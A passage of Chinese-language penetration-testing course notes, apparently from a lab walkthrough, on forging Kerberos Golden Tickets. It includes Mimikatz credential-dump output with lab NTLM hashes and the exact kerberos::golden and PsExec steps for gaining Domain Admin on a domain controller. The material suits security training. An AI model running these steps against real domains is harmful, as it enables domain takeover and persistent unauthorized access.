当用户提交 TGT 请求时,KDC 使用只有域中的KDC 知道的密钥对 TGT 进行加密。该密钥实际上是名为 krbtgt 的域用户帐户的密码哈希。
如果我们能够获得 krbtgt 密码哈希,我们就可以创建自己的自定义 TGT,也称为黄金票证。
尽管这种技术的名称类似于我们在攻击身份验证模块中遇到的银票,但金票提供了更强大的攻击
向量。银票旨在伪造 TGS 票来访问特定服务,而金票则允许我们访问整个域的资源,我们很快就
会看到。
例如,我们可以创建一个 TGT,声明非特权用户实际上是 Domain Admins 组的成员,并且域控制
器将信任它,因为它已正确加密。
这提供了一种在 Active Directory 环境中保持持久性的巧妙方法,但最大的优点是 krbtgt 帐
户密码不会自动更改。
为了测试这种持久性技术,我们将首先尝试使用 cmd 命令生成传统命令 shell,以 jen 用户身
份通过 PsExec 从 Windows 11 CLIENT74 工作站横向移动到域控制器。这应该会失败,因为我们
没有适当的权限
在参与的这个阶段,黄金票证将要求我们有权访问域管理员的组帐户或损害域控制器本身,以便
作为持久性方法工作。
通过这种访问,我们可以使用 Mimikatz 提取 krbtgt 帐户的密码哈希。为了模拟这一点,我们
将使用 jeffadmin 通过远程桌面登录到域控制器
mimikatz # lsadump::lsa /patch
Domain : CORP / S-1-5-21-1987370270-658905905-1781884369
RID : 000001f4 (500)
User : Administrator
LM :
NTLM : 2892d26cdf84d7a70e2eb3b9f05c425e
RID : 000001f5 (501)
User : Guest
LM :
NTLM :
RID : 000001f6 (502)
User : krbtgt
LM :
NTLM : 1693c6cefafffc7af11ef34d1c788f47
RID : 0000044f (1103)
User : dave
LM :
NTLM : 08d7a47a6f9f66b97b1bae4178747494
RID : 00000450 (1104)
User : stephanie
LM :
NTLM : d2b35e8ac9d8f4ad5200acc4e0fd44fa
RID : 00000451 (1105)
User : jeff
LM :
NTLM : 2688c6d2af5e9c7ddb268899123744ea
RID : 00000452 (1106)
User : jeffadmin
LM :
NTLM : e460605a9dbd55097c6cf77af2f89a03
RID : 00000455 (1109)
User : iis_service
LM :
NTLM : 4d28cf5252d39971419580a51484ca09
RID : 00000463 (1123)
User : pete
LM :
NTLM : 369def79d8372408bf6e93364cc93075
RID : 00000464 (1124)
User : jen
LM :
NTLM : 369def79d8372408bf6e93364cc93075
RID : 000003e8 (1000)
User : DC1$
LM :
NTLM : 3d0818ff3bb6b1f408a47f5dced4bb1c
RID : 00000458 (1112)
User : WEB04$
LM :
NTLM : 3ed7c3988a33994cbefc2c13ea2d6aac
RID : 0000045e (1118)
User : FILES04$
LM :
NTLM : 7366a6092f0cab2b244198c71b8c4ab6
RID : 00000461 (1121)
User : CLIENT74$
LM :
NTLM : a4174a31a9c4f15beb5aa6a5ff73fa0d
RID : 00000462 (1122)
User : CLIENT75$
LM :
NTLM : c5ffce865491d71243111ddc5577747a
RID : 00000469 (1129)
User : CLIENT76$
LM :
NTLM : 9e16f7a5508d26a27d0bb7861de2b594
拿到了krbtgt和SID后就可以创建黄金票据了
创建黄金票证并将其注入内存不需要任何管理权限,甚至可以在未加入域的计算机上执行。我们
将获取哈希并从受感染的工作站继续该过程。
作 为 jen 用 户 返 回 CLIENT74 , 在 生 成 黄 金 票 证 之 前 , 我 们 将 启 动 mimikatz 并 使 用
kerberos::purge 删除任何现有的 Kerberos 票证。
我们将向 Mimikatz kerberos::golden命令提供域 SID(可以通过 whoami /user 收集)来创
建黄金票证。这次,我们将使用 /krbtgt 选项而不是 /rc4 来指示我们提供 krbtgt 用户帐户的密码哈希。
kerberos::purge #删除现存所有Kerberos票据
kerberos::golden /user:jen /domain:corp.com /sid:S-1-5-21-1987370270-658905905-1781884369 /krbtgt:1693c6cefafffc7af11ef34d1c788f47 /ptt
使用黄金票证选项时,Mimikatz 提供两组默认值:用户 ID 和组 ID。默认情况下,用户 ID 设
置为 500,这是域内置管理员的 RID,而组 ID 的值由 Active Directory 中权限最高的组组成,
包括 Domain Admins 组。
将金票注入内存后,我们启动了一个新的命令提示符Misc::cmd 从中我们再次尝试使用 PsExec 进行横向移动。
成功通过黄金票据拿到了DC的shell
我们在域控制器上有一个交互式命令提示符,并注意到 whoami 命令报告我们是用户 jen,该用
户现在是域管理组的一部分。列出组成员身份表明我们现在是多个强大组的成员,包括域管理员
组。
请注意,通过创建我们自己的 TGT,然后使用 PsExec,我们将利用 Kerberos 身份验证来执行立
交哈希攻击,正如我们在本模块前面讨论的那样。如果我们将 PsExec 连接到域控制器的 IP 地
址而不是主机名,我们将强制使用 NTLM 身份验证,并且访问仍会被阻止